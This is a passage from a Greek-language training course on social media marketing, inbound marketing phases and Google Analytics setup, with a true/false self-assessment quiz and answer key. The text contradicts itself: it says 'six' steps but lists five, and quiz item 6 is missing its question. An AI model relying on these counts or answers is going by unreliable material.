κοινού και εταιρείας για τη δημιουργία ενός ολοένα και μεγαλύτερου οπτικοποιημένου περιεχομένου. Συχνά, το περιεχόμενο αυτό είναι ένας κρίσιμος παράγοντας για την επίτευξη αποτελεσματικού marketing μέσω των social media. Ωστόσο, σύμφωνα με την "Curriculum Marketing Surveys Report 2012" οι εταιρείες φαίνεται να αντιμετωπίζουν προκλήσεις στη δημιουργία πρωτότυπου περιεχομένου, έχοντας τον χρόνο να το δημιουργήσουν και να βρουν περιεχόμενο υψηλής ποιότητας. Ο Drury υποστήριξε ότι, ειδικότερα με τα κοινωνικά μέσα, το περιεχόμενο της διαφήμισης και του branding πρέπει να παρέχεται ως περιεχόμενο προστιθέμενης αξίας, το οποίο αφορά περισσότερο τον καταναλωτή και όχι την τοποθέτηση προϊόντων. Όταν οι εταιρείες βοηθούν τους πελάτες τους μέσω των κοινωνικών μέσων, είναι πιο πιθανό να οικοδομήσουν μια μακροπρόθεσμη σχέση, η οποία με τη σειρά της θα ωθήσει και θα τονώσει την ανάπτυξη της επωνυμίας. Εκτός αυτού, με τα κοινωνικά μέσα, η εταιρεία είναι σε θέση να δημιουργήσει την πλατφόρμα της πραγματικής διαδραστικότητας. Το φόρουμ OPEN της American Express είναι αναμφισβήτητα μια εξαιρετική περίπτωση, η οποία έχει ξεπεράσει υπερβολικά τις προσδοκίες των πελατών όσον αφορά την προτεραιότητα του πελάτη. Αντί να προωθήσει σε μεγάλο βαθμό τις παραδοσιακές οικονομικές προσφορές στην κοινότητα, η εταιρεία έλαβε υπόψη τους καταναλωτές της και τις ανησυχίες και ανάγκες αυτών, παρέχοντας παράλληλα πληροφορίες για τις υπηρεσίες της. Οι πλατφόρμες κοινωνικών μέσων χρησιμεύουν ως εργαλείο για τους καταναλωτές που ενδέχεται να μην έχουν ένα σημείο πώλησης ή ένα σύστημα υποστήριξης για να έρθουν σε μεταξύ τους επικοινωνία. Επωνυμίες όπως το Weight Watchers και η Nike Women έχουν αποδείξει πόσο χρήσιμοι είναι οι ιστότοποι κοινωνικής δικτύωσης για τη γεφύρωση ατόμων που αντιμετωπίζουν παρόμοια καθημερινά εμπόδια. Τα άτομα είναι πιθανό να αναζητήσουν πληροφορίες σχετικές με την αρχική τους σκέψη και αποφεύγουν έντονα εκείνους που εμπλέκονται με αυτή. Ως αποτέλεσμα, τα μέσα κοινωνικής δικτύωσης στο σημερινό marketing παρέχουν συνδέσμους για τη σύνδεση ατόμων που μοιράζονται συναφή συμφέροντα και περιβάλλοντα, στις οποίες οι καταναλωτές χρησιμεύουν ως ζωτικός μηχανισμός συντονισμού στην επιλογή των απαιτούμενων πληροφοριών, μεταξύ του συντριπτικού αριθμού πληροφοριών που λαμβάνονται.

Η επιτυχής εξασφάλιση μιας εταιρείας η οποία δραστηριοποιείται στο διαδίκτυο απαιτεί πλέον έξι βασικά βήματα μέσα από τα οποία δίνεται η δυνατότητα να γίνει ανταγωνιστική και να κερδίσει την προσοχή του κοινού. Έχοντας ισχυρή παρουσία στο διαδίκτυο ενισχύει το εμπορικό της σήμα στα μάτια των καταναλωτών ενώ ταυτόχρονα στοχεύει και σε πιο ευνοϊκά οικονομικά αποτελέσματα. Ωστόσο, για να συμβούν τα παραπάνω πρέπει όλες οι διαδικασίες να τηρηθούν με μεθοδικά όπως θα επεξηγηθεί παρακάτω. Προγραμματισμός (Plan) Το πρώτο βήμα είναι να γίνει σωστός προγραμματισμός ως προς τις ενέργειες που θα γίνουν από την αρχή μέχρι το τέλος της προωθητικής ενέργειας. Γίνεται ένα προσχέδιο το οποίο περιγράφει κάθε προωθητική ενέργεια που θα συμβεί σε ορίζοντα ενός έτους καθώς επίσης και τους στόχους τις εταιρείας όταν το χρονικό διάστημα παρέλθει. Οι στόχοι θα πρέπει να είναι μετρήσιμοι ώστε στο τέλος του έτους να υπάρχει ξεκάθαρη εικόνα της αποτελεσματικότητας του marketing plan. Το σχέδιο επίσης περιλαμβάνει μια περιγραφή της τρέχουσας θέσης της επιχείρησης, μια περιγραφή της αγοράς-στόχου στην οποία η εταιρεία σκοπεύει να εστιάσει καθώς και μια περιγραφή του μείγματος marketing που θα επιλέξει η εταιρεία προκειμένου να καταφέρει να επιτύχει τους στόχους της. Επίσης καθορίζεται ο «buyer persona» δηλαδή γίνεται μια λεπτομερής καταγραφή της συμπεριφοράς και του τρόπου σκέψης του καταναλωτή στον οποίο στοχεύουμε. Προσέλκυση (Attract) Το επόμενο βήμα είναι η δημιουργία περιεχομένου το οποίο θα είναι ενδιαφέρον προς την αγορά-στόχο που επέλεξε η εταιρεία στο marketing plan της. Υπάρχουν κάποια πρότυπα βάσει των οποίων αυξάνεται η εμπειρία χρήσης (UX) των χρηστών όταν το περιεχόμενο διακινείται βελτιστοποιημένο για τις μηχανές αναζήτησης (Search Engine Optimization). Το περιεχόμενο μπορεί να παρουσιάζεται είτε σε blogs, είτε στα μέσα κοινωνικής δικτύωσης.Σύμφωνα με το Smart Insights Essential 2017, η μεγαλύτερη πρόκληση για τους marketers περιεχομένου είναι η δημιουργία ελκυστικού περιεχομένου (engaging content) και η δυνατότητα μέτρησης της αποτελεσματικότητας της προωθητικής ενέργειας. Η ακρίβεια στις μετρήσεις της αποτελεσματικότητας καθιστούν το inbound marketing ένα ισχυρό όπλο για τις επιχειρήσεις. Προσαρμογή (Convert)

Κατά την προσαρμογή ουσιαστικά η εταιρεία οφείλει να παραμετροποιήσει την πλατφόρμα έτσι ώστε να διευκολύνει την είσοδο αλλά και την παραμονή του χρήστη στο περιεχόμενο της. Το διαδίκτυο είναι ένας ζωντανός οργανισμός ο οποίος συνεχώς εξελίσσεται. Οι εταιρείες οφείλουν να ακολουθούν τις τάσεις τις οποίες επιτάσσει η τεχνολογία. Πλέον το περιεχόμενο για να είναι φιλικό προς το χρήστη πρέπει να μεταφέρεται στο χρήστη με ταχύτητα (πρότυπο Web 2.0), ασφάλεια (πρότυπα κρυπτογράφησης). Επιπρόσθετα, η σελίδα και το περιεχόμενο αυτής πρέπει να προσαρμόζονται δυναμικά στο χρήστη βάσει των δημογραφικών χαρακτηριστικών του καθώς οι στατικές σελίδες ανήκουν πλέον στο παρελθόν. Για παράδειγμα θα ήταν χρήσιμο να αναλογιστεί κανείς πόσο πιο εύκολα θα αλληλοεπιδρούσε ένας χρήστης σε μία σελίδα η οποία θα προσαρμοζόταν στη μητρική του γλώσσα και θα πρόβαλλε Calls-to-Actions προσαρμοσμένα στα ενδιαφέροντα του χρήστη σε αντίθεση με μία στατική σελίδα η οποία θα πρόβαλλε το ίδιο περιεχόμενο σε όλους τους χρήστες. Στο παραπάνω γράφημα βλέπουμε ότι 42% περισσότεροι χρήστες ανταποκρίθηκαν σε στενευμένα Calls-to-Action. Αυτό συμβαίνει καθώς η μελέτη της συμπεριφοράς της αγοράς στόχου μπορεί να βοηθήσει την εταιρεία να εξάγει ασφαλή συμπεράσματα σχετικά με το πιο περιεχόμενο θεωρείται ελκυστικό και πιο όχι για το κοινό που την ενδιαφέρει. Προώθηση στους πελάτες (Engage) Εφόσον η εταιρεία έχει οργανώσει πλήρως την διαδικτυακή πλατφόρμα μέσα από την οποία εμπορεύεται, το επόμενο βήμα είναι η προσέλκυση της αγοράς στόχου. Αρχικά, πρέπει να γνωστοποιηθεί το εμπορικό σήμα καθώς και το τί εμπορεύεται η εταιρεία στον δυνητικό καταναλωτή. Μπορούν να γίνουν προωθητικές ενέργειες μέσω των Social Media, του mail marketing, του video marketing κλπ. Το marketing automation δύναται να συνεισφέρει στην προώθηση καθώς αυτοματοποιεί τις επαναλαμβανόμενες ενέργειες marketing όπως για παράδειγμα την αποστολή online προσφορών. Υπέρβαση (Delight) Με τον όρο delight αναφερόμαστε στην έκπληξη του καταναλωτή όταν λαμβάνει περιεχόμενο από την εταιρεία. Ουσιαστικά πρόκειται για περιεχόμενο το οποίο υπερβαίνει τις προσδοκίες του αποδέκτη και του προκαλεί θετικά συναισθήματα. Σε αυτό το σημείο θα πρέπει να τονιστεί πως η ευχαρίστηση του πελάτη εμφανίζει άμεσα αποτελέσματα και στις πωλήσεις της εταιρείας. Αυτό συμβαίνει καθώς με αυτό τον τρόπο διακρίνεται η εταιρεία και τα προϊόντα τις από τις ανταγωνιστικές. Με αυτό τον τρόπο ενισχύεται το εμπορικό σήμα της εταιρείας και η πιστότητα του σε αυτό.

Όπως ήδη αναφέρθηκε, στο τέλος της χρονικής περιόδου που έχει οριστεί στο marketing plan (συνήθως ένας χρόνος) θα πρέπει να ποσοτικοποιήσουμε τα αποτελέσματα που είχαμε κατά τη διάρκεια του χρόνου και να τα συγκρίνουμε με τους στόχους που είχαμε θέσει. Οι μετρήσεις και η δημιουργία αναλυτικών αναφορών έφεραν την επανάσταση στον κόσμο του marketing καθώς αποτέλεσε συντριπτικό πλεονέκτημα σε σχέση με το παραδοσιακό marketing

το

γεγονός

ότι

μπορούν

να

καταγραφούν

ακριβείς

μετρήσεις

αποτελεσματικότητας μέσα μέσα από τα ψηφιακά αποτυπώματα που αφήνουν οι χρήστες στο διαδίκτυο. Μέσα από βασικούς δείκτες απόδοσης (KPI’s) μπορούν να εξαχθούν συμπεράσματα σχετικά με το κατά πόσο η εταιρεία πέτυχε ή όχι τους βασικούς επιχειρηματικούς της στόχους. Πρόσθετα, τα web analytics βοηθάνε στην ανατροφοδότηση και βελτίωση του συστήματος σε περίπτωση που υπάρχουν αδύναμα σημεία. Για παράδειγμα, ο δείκτης «bounce rate» μας δείχνει το ποσοστό των ατόμων που όταν περιηγήθηκαν σε ένα συγκεκριμένο τμήμα της πλατφόρμας, εξήλθαν άμεσα. Αυτό μπορεί να μας οδηγήσει στο συμπέρασμα πως στο δεδομένο τμήμα της πλατφόρμας το περιεχόμενο χρειάζεται βελτιστοποίηση. Με αυτό τον τρόπο το σύστημα βελτιστοποιείται για να προσφέρει την καλύτερη εμπειρία χρήσης στον δυνητικό πελάτη. Social Network Marketing Το marketing κοινωνικού δικτύου είναι ένας τρόπος για τις επιχειρήσεις να αλληλοεπιδρούν με τις αγορές στόχους τους μέσω του Διαδικτύου και μέσω διαφόρων πλατφορμών κοινωνικής δικτύωσης όπως το Facebook, το Pinterest, το Twitter και το Instagram (για να αναφέρουμε μερικά μόνο). Το marketing των κοινωνικών μέσων χρησιμοποιείται για όλους τους παραδοσιακούς στόχους marketing ώστε να προσεγγίσει πελάτες και να : 1. Αυξήσει τις παραπομπές ή να οδηγήσει σε πωλήσεις 2. Οικοδομήσει το word-of-mouth 3. Αυξήσει τις πωλήσεις των προϊόντων ή υπηρεσιών 4. Παρέχει ένα μέσο ανάδρασης 5. Αναπτύσσει μια φήμη ως εμπειρογνώμονας ή ηγέτης της σκέψης 6. Αναπτύξει νέα προϊόντα ή υπηρεσίες

7. Να ενημερώνει τους ανθρώπους για τις ειδικές εκδηλώσεις και οτιδήποτε άλλο αξίζει τον κόπο για την επιχείρηση 8. παρέχει υπηρεσίες εξυπηρέτησης πελατών Κόστος: Σε σύγκριση με άλλους τύπους marketing, τα κοινωνικά μέσα είναι πολύ φθηνά. Είναι δωρεάν η δημιουργία λογαριασμών σε όλες τις παραπάνω πλατφόρμες και δωρεάν οι δημοσιεύσεις στους οπαδούς, οι οποίοι μπορούν να μοιραστούν το μήνυμα με άλλα μέλη της κοινότητας των κοινωνικών μέσων και να το διαδώσουν. Υπάρχουν επίσης διάφορες επιλογές διαφήμισης με πληρωμή ώστε να προσεγγιστεί μεγαλύτερο κοινό μέσα από την κοινότητα των social media. Το Facebook προσφέρει ολοκληρωμένες επιλογές για στόχευση διαφημίσεων, για παράδειγμα, όπως η δυνατότητα στόχευσης μελών που κατοικούν σε συγκεκριμένη γεωγραφική ακτίνα. Συμμετοχή στο κοινό: Τα κοινωνικά δίκτυα επιτρέπουν στην επιχείρηση να εμπλέκει σε συμμετοχή το κοινό στόχο και να αναπτύσσει διαδραστικές σχέσεις με τους πελάτες.

Χρόνος: Το κύριο πρόβλημα με το social network marketing από επιχειρηματική προοπτική είναι ότι μπορεί να είναι απίστευτα χρονοβόρα. Οι εκστρατείες marketing κοινωνικών μέσων δεν είναι υποθέσεις one-shot, πρέπει να καλλιεργηθούν με την πάροδο του χρόνου. Ενώ μεγάλες επιχειρήσεις όπως η Dell, η Microsoft και η HP χρησιμοποιούν αυτό το είδος marketing αποτελεσματικά, έχουν τα είδη των προϋπολογισμών marketing που τους επιτρέπουν να εκχωρούν x αριθμό προσωπικού για τη διεξαγωγή και τη διαχείριση εκστρατειών marketing κοινωνικών μέσων, προϋπολογισμό όπου οι μικρού μεγέθους επιχειρήσεις δεν έχουν και δεν μπορούν να αντέξουν. Η άμεση διαφήμιση στα κοινωνικά μέσα δεν λειτουργεί οι επιχειρήσεις που χρησιμοποιούν κοινωνικά δίκτυα θέλουν να πουλήσουν τα προϊόντα ή τις υπηρεσίες τους. Όμως, η απροκάλυπτη διαφήμιση στα κοινωνικά μέσα ενημέρωσης, τις περισσότερες περιπτώσεις, απομακρύνει το ενδιαφερόμενο κοινό ή ακόμα μπορεί και να εκδιώξει την επιχείρηση από την κοινωνική κοινότητα που προσπαθεί να διεισδύσει. Οι επιχειρήσεις πρέπει να χρησιμοποιούν πιο λεπτές μορφές προώθησης στα κοινωνικά μέσα. Για να χρησιμοποιήσουν αποτελεσματικά το marketing κοινωνικής δικτύωσης, οι επιχειρήσεις πρέπει να θεωρηθούν μέλη της κοινότητας των social media, πρόθυμες να αλληλοεπιδράσουν με άλλα μέλη. Κίνδυνοι: Δεδομένης της κοινοτικής φύσης των κοινωνικών μέσων, οι επιχειρήσεις πρέπει να γνωρίζουν τους κινδύνους. Μια αρνητική ανάρτηση/δημοσίευση από πελάτη, πρώην

υπάλληλο ή ανταγωνιστή (είτε αληθής είτε ψευδής) μπορεί να βλάψει σοβαρά τη φήμη μιας επιχείρησης. Εάν ένας χάκερ κατορθώσει να πάρει τον έλεγχο ενός λογαριασμού κοινωνικού δικτύου, τα αποτελέσματα μπορεί να είναι καταστροφικά.

Σύνοψη Εκπαιδευτικής Ενότητας 12 Στην ενότητα 12, παρουσιάστηκαν αντικείμενα που αναφέρονται: Social Media και Mάρκετινγκ Inbound vs Outbound Marketing Προσέλκυση (Attract) Προσαρμογή (Convert) Προώθηση στους πελάτες (Engage) Υπέρβαση (Delight) Social Network Marketing

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 12 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Οι περισσότερες από τις διαφημίσεις μέσω των μέσων ενημέρωσης δεν

είναι τόσο αποτελεσματικές όσο στο παρελθόν, διότι με τη διαφήμιση μέσω της μάζας το μήνυμα γενικά φτάνει σε πολύ περισσότερους ανθρώπους από ό, τι τον δυνητικό πελάτη που επιθυμεί να προσελκύσει.

ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Social Media Marketing μπορεί να είναι ιδιαίτερα εύκολο και

περισσότερο αποτελεσματικό για τις μικρές και μεσαίες επιχειρήσεις ώστε να επωφεληθούν στο μέγιστο.

ΑΠΑΝΤΗΣΗ 2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

3

Στο inbound ο πελάτης βομβαρδίζεται από ενίοτε ενοχλητικές

προωθητικές ενέργειες όπως τηλεφωνικές κλήσεις, SMS, ραδιοφωνικές/τηλεοπτικές διαφημίσεις κλπ.

ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το SEO αποτελεί την βελτιστοποίηση μιας ιστοσελίδας σε συγκεκριμένες

διαδικασίες έτσι ώστε να προσφέρει μια ανώτερη εμπειρία χρήση (UX) και κατά συνέπεια να εμφανίζεται σε υψηλότερες θέσεις σε σχέση με ανταγωνιστικές

ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Yπάρχουν πέντε

φάσεις με τις οποίες η επιχείρηση μπορεί να

μετατρέψει τους ανώνυμους επισκέπτες των ιστοσελίδων της σε πελάτες και υποστηρικτές της.

ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Convert σημαίνει μετατροπή των πελατών σε πιστούς πελάτες. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Έξυπνο κείμενο σημαίνει ότι στους υπάρχοντες πελάτες, οι

επιχειρήσεις παρέχουν αξιοσημείωτο περιεχόμενο προσαρμοσμένο στα ενδιαφέροντα τους. ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Στον κόσμο της τεχνολογίας, το ψηφιακό marketing και τα social media

έχουν σημαντικό αντίκτυπο στη συμπεριφορά μας ως καταναλωτές.

ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Δυνατότητα Calls-to-Action σημαίνει ότι δίνεται η ευκαιρία στον κάθε

χρήστη να σταματήσει να δείχνει ενδιαφέρον για κάποιο θέμα και να μη λαμβάνει ενημερώσεις σχετικά με αυτό.

ΑΠΑΝΤΗΣΗ 9

ΕΡΩΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η επιτυχής εξασφάλιση μιας εταιρείας η οποία δραστηριοποιείται στο

διαδίκτυο απαιτεί πλέον πέντε βασικά βήματα μέσα από τα οποία δίνεται η δυνατότητα να γίνει ανταγωνιστική και να κερδίσει την προσοχή του κοινού.

ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 12 1:

Απάντηση 1. Α

2:

Απάντηση 2. Α

3:

Απάντηση 3. B

4:

Απάντηση 4. A

5:

Απάντηση 5. Β

6:

Απάντηση 6. Β

7:

Απάντηση 7. Α

8:

Απάντηση 8. Α

9:

Απάντηση 9. Β

10:

Απάντηση 10. Β

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 13: SEM, SEO & Google Ads SEM, SEO & Google Ads Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν τα Google analytics και το Google Adwards. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Στατιστικά και Μετρήσεις Ξεκινήστε με το Google Analytics Χάρτης διεπαφής Ρύθμιση παρακολούθησης για ιδιοκτησίες ιστού Τρόπος ρύθμισης του κώδικα παρακολούθησης ιστού Δυναμικοί ιστότοποι Ιστότοποι με πλαίσια Τρόπος διαχείρισης του Google Analytics Επισκόπηση AdWords ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ websites, keywords, referral links, campaigns, Bounces Rate, Unique Visitors, frameset.

Εκπαιδευτική Υποενότητα 13.1 Google Analytics Google Analytics Το Google Analytics είναι μια από τις κορυφαίες υπηρεσίες της Google, που παρέχεται δωρεάν και η οποία προσφέρει αναλυτικές πληροφορίες σχετικά με την επισκεψιμότητα μίας ιστοσελίδας. Ενδεικτικά, μέσω της συγκεκριμένης υπηρεσίας μπορείτε να δείτε το πώς οι επισκέπτες έφτασαν στην ιστοσελίδα σας, τι χρόνο διέθεσαν σε ποιες εσωτερικές σελίδες, καθώς και πολλές ακόμη πληροφορίες που μπορούν να σας βοηθήσουν κατά την βελτιστοποίηση του site σας. Επίσης μέσω της συγκεκριμένης υπηρεσίας, μπορείτε να ελέγξετε και να αναλύσετε τα αποτελέσματα από πιθανές διαφημιστικές εκστρατείες που τρέχετε μέσα από αυτό. Ο κάθε εγγεγραμμένος χρήστης μπορεί να προσθέσει για ανάλυση και παρακολούθηση όσες ιστοσελίδες θέλει. Για κάθε ένα από τα websites, το Google Analytics παρέχει έναν μοναδικό κώδικα ο οποίος πρέπει να ενσωματωθεί σε όλες τις σελίδες του site, συνήθως στο <head> ή στο τέλος του <body> της σελίδας.

Με τον συγκεκριμένο κώδικα εγκατεστημένο, κάθε φορά που ένας χρήστης επισκέπτεται το site, συλλέγονται στατιστικά στοιχεία γι’αυτό, όπως είναι για παράδειγμα ο χρόνος παραμονής στις εσωτερικές σελίδες ή οι σύνδεσμοι τους οποίους ο χρήστης ακολούθησε για να καταλήξει στο site. Αυτά τα στοιχεία αποστέλλονται άμεσα στην υπηρεσία της Google, αναλύονται, κατανέμονται στις σωστές κατηγορίες και παρουσιάζονται σε έναν εύχρηστο περιβάλλον. Πρώτα από όλα, η υπηρεσία απαιτεί εγγραφή για την χρήση της και την αξιοποίηση των δυνατοτήτων της. Αν έχετε ήδη λογαριασμό email στο Google Mail, τότε μπορείτε να τον χρησιμοποιήσετε για να εισέλθετε στην πλατφόρμα διαχείρισης. Στην σελίδα http://www.google.com/analytics/, μπορείτε να δείτε την φόρμα εισόδου/εγγραφής και με την είσοδό σας, θα αποκτήσετε πρόσβαση στην κεντρική σελίδα διαχείρισης Ένα από τα πρώτα βήματα αποτελεί η προσθήκη μιας ιστοσελίδας προς παρακολούθηση. Θα σας ζητηθούν τα στοιχεία της ιστοσελίδας, δηλαδή το όνομα και η διεύθυνση, τα προσωπικά σας στοιχεία, η περιοχή και η χώρα σας. Τέλος, απαιτείται να συμφωνήσετε με τους όρους χρήσης της υπηρεσίας. Αμέσως μόλις προστεθεί η νέα ιστοσελίδα, το Analytics σας παρέχει τον κώδικα, τον οποίο καλείστε να προσθέσετε στην ιστοσελίδα σας. Η εγκατάσταση του κώδικα απαιτεί βασικές γνώσεις HTML. Στην κεντρική σελίδα του Analytics, θα βρείτε την περίληψη των στατιστικών της ιστοσελίδας σας, ενώ αν επιλέξετε το View report θα δείτε αναλυτικά όλα τα στατιστικά στοιχεία που συλλέχθηκαν. Το Google Analytics έχει πλέον ρυθμιστεί και θα πραγματοποιεί αυτόματα τις μετρήσεις που αφορούν στα στατιστικά δεδομένα της σελίδας σας. Μετά από μερικές ημέρες θα έχετε μια πιο σωστή εικόνα των στατιστικών, ενώ η ακρίβειά τους θα βελτιώνεται με την πάροδο του χρόνου. Τα οφέλη από την χρήση της συγκεκριμένης υπηρεσίας είναι αρκετά. Παρέχει μια πλήρη εικόνα σχετικά με την επισκεψιμότητα στην ιστοσελίδα σας, δημογραφικά στοιχεία που αφορούν στους επισκέπτες της, όπως είναι για παράδειγμα η περιοχή διαμονής τους και η μητρική τους γλώσσα, στατιστικά στοιχεία σχετικά με το ποσοστό επιστροφής στην σελίδα και τον χρόνο πλοήγησης σε αυτήν, πληροφορίες για τον browser με τον οποίο την επισκέφθηκαν, καθώς και τους τρόπους με τους οποίους κατέληξαν σε αυτήν (keywords, referral links κλπ). Κατανοώντας επομένως αυτά τα στατιστικά και αξιοποιώντας τα, μπορείτε να βελτιστοποιήσετε το περιεχόμενο στις σελίδες σας. Όπως αναφέραμε προηγουμένως, το Google Analytics μπορεί να εξυπηρετήσει ακόμη και την παρακολούθηση διαφημιστικών εκστρατειών.

Όταν εμφανίζεται ο κώδικας που πρέπει να προστεθεί στην ιστοσελίδα σας για την παρακολούθηση των στατιστικών, σας δίνεται η δυνατότητα να επιλέξετε ακριβώς ποια είναι τα στοιχεία που θα παρακολουθείτε. Μία από τις επιλογές λοιπόν που θα βρείτε στην καρτέλα Advanced, είναι και η παρακολούθηση εκστρατειών του Google AdWords. Μπορείτε να ενεργοποιήσετε την επιλογή κάνοντας click στο πεδίο I want to track AdWords campaigns. Mε αυτό τον τρόπο, το Analytics θα σας παράσχει επιπλέον στοιχεία για τις καμπάνιες σας καθώς και πληροφορίες για την απήχησή τους στο διαφημιστικό κοινό. Τέλος, θα πρέπει να αναφερθεί ότι μέσω του Google Analytics, σας δίνεται η δυνατότητα να προσθέσετε στόχους και ειδοποιήσεις αλλά και να παρακολουθήσετε αναλυτικά στοιχεία πωλήσεων που γίνονται στο site σας και από ποια καμπάνια ήρθαν οι πελάτες σας. Έτσι, μπορείτε να αξιολογήσετε σε πραγματικά ποσά την απόδοση του διαφημιστικού budget σας. Στατιστικά και Μετρήσεις Τρεις μετρήσεις που πρέπει να παρακολουθείτε Το Google Analytics προσφέρει μια πληθώρα στατιστικών και μετρήσεων για την ιστοσελίδα σας. Η εγκατάσταση του Google Analytics είναι μια απλή διαδικασία και σχεδόν όλες οι ιστοσελίδες χρησιμοποιούν αυτή την δωρεάν υπηρεσία της Google. Πολλούς μπορεί να τους μπερδεύουν τα πολλά στατιστικά που προσφέρει το Google Analytics, οι περισσότεροι δίνουν σημασία μόνο στον αριθμό επισκεπτών. Στη συνέχεια θα αναλυθούν οι τρεις σημαντικότερες μετρήσεις του Google Analytics που θα πρέπει να λαμβάνονται πάντα υπόψη και να παρακολουθούνται οι μεταβολές τους. 1. Παραπομπές (Referrals) Ένα από τα σημαντικότερα στατιστικά του Google Analytics, που θα πρέπει πάντα να λαμβάνεται υπόψιν, είναι οι ιστοσελίδες παραπομπής (referral sites). Οι παραπομπές στο Google Analytics μας δείχνουν από που έρχονται οι επισκέπτες μας, συμπεριλαμβανομένου και του συνδέσμου που πάτησαν για να καταλήξουν στο δικό μας site. Αυτό όπως καταλαβαίνετε είναι σημαντικό γιατί έτσι μπορείτε να βγάλετε συμπεράσματα για το ποια εξωτερικά links είναι αποδοτικά για εσάς καθώς και να ξέρετε, για παράδειγμα, ποια από τα κοινωνικά δίκτυα που προωθείτε την ιστοσελίδα σας έχουν μεγαλύτερη επιτυχία. Από τις παραπομπές (referrals) του Google Analytics μπορείτε να μάθετε ποιες από τις στρατηγικές μάρκετινγκ απέδωσαν καλύτερα. 2. Ποσοστό Εγκαταλείψεων (Bounces Rate)

Το ποσοστό εγκαταλείψεων (ή αλλιώς γνωστό ως bounces rate) είναι το επί τοις εκατό ποσοστό των χρηστών που επισκέφτηκαν μια σελίδα σας αλλά δε συνέχισαν την περιήγησή τους στο site σας. Δηλαδή είναι οι χρήστες που μπήκαν στην ιστοσελίδα σας και έφυγαν χωρίς να πατήσουν κάποιο σύνδεσμο. Στο Google Analytics μπορείτε να δείτε είτε το συνολικό ποσοστό εγκαταλείψεων της ιστοσελίδας σας, είτε το ποσοστό εγκαταλείψεων για κάθε σελίδα, λέξη-κλειδί κ.ο.κ. Υψηλό ποσοστό εγκαταλείψεων δεν είναι πάντα λόγος για να πανικοβάλλεστε. Σε γενικές γραμμές όμως ο στόχος είναι πάντα το ποσοστό εγκαταλείψεων που βλέπουμε στο Google Analytics να είναι κάτω από 50%, αλλά όπως είπαμε υπάρχουν πολλοί λόγοι που ακόμη και μεγαλύτερα ποσοστά υπό προϋποθέσεις είναι απολύτως λογικά και δε θα πρέπει να σας ανησυχούν. 3. Μοναδικοί Επισκέπτες (Unique Visitors) Ο αριθμός των μοναδικών επισκέψεων που βλέπουμε στο Google Analytics μπορεί να είναι η μονάδα μέτρησης της επιτυχίας του site σας όταν συνδυάζεται με τις πληροφορίες των παραπομπών (referrals). Ο αριθμός των μοναδικών επισκέψεων καθώς και ο αριθμός των επανερχόμενων επισκεπτών (returning visitors) δείχνουν κατά πόσο η ιστοσελίδα σας γίνεται αντιληπτή από τους χρήστες του διαδικτύου. Αν συνδυάσετε αυτά τα στατιστικά με τους συνδέσμους παραπομπής μπορείτε να βγάλετε διάφορα χρήσιμα συμπεράσματα. Όπως αν οι επισκέπτες σας έρχονται μέσω συνδέσμων παραπομπής στην σελίδα σας ή αν πληκτρολογούν την διεύθυνση url στον browser τους απευθείας. Όπως καταλάβατε τα στατιστικά και οι μετρήσεις που προσφέρει το Google Analytics δε θα πρέπει να τα αντιλαμβάνεστε σαν ξεχωριστά νούμερα. Για να βγάλετε ασφαλή συμπεράσματα που θα σας βοηθήσουν στο να χαράξετε μια καλύτερη στρατηγική προώθησης της ιστοσελίδας σας, θα πρέπει να μάθετε να τα συνδυάζετε και να τα ερμηνεύετε. Ξεκινήστε με το Google Analytics Βήμα 1: Εγγραφείτε για απόκτηση λογαριασμού Επισκεφτείτε τον ιστότοπο Google Analytics για να εγγραφείτε προκειμένου να αποκτήσετε ένα νέο λογαριασμό. Κάντε κλικ στο κουμπί Δημιουργία λογαριασμού και ακολουθήστε τις οδηγίες στην οθόνη. Βήμα 2: Ρυθμίστε τις ιδιοκτησίες του λογαριασμού σας. Το Google Analytics είναι ευέλικτο και μπορεί να υποστηρίξει διάφορες διαμορφώσεις λογαριασμού, ωστόσο, οι ρυθμίσεις σας επηρεάζουν τον τρόπο εμφάνισης των δεδομένων στις αναφορές σας. Για βοήθεια σχετικά με τον προγραμματισμό των ρυθμίσεών σας,

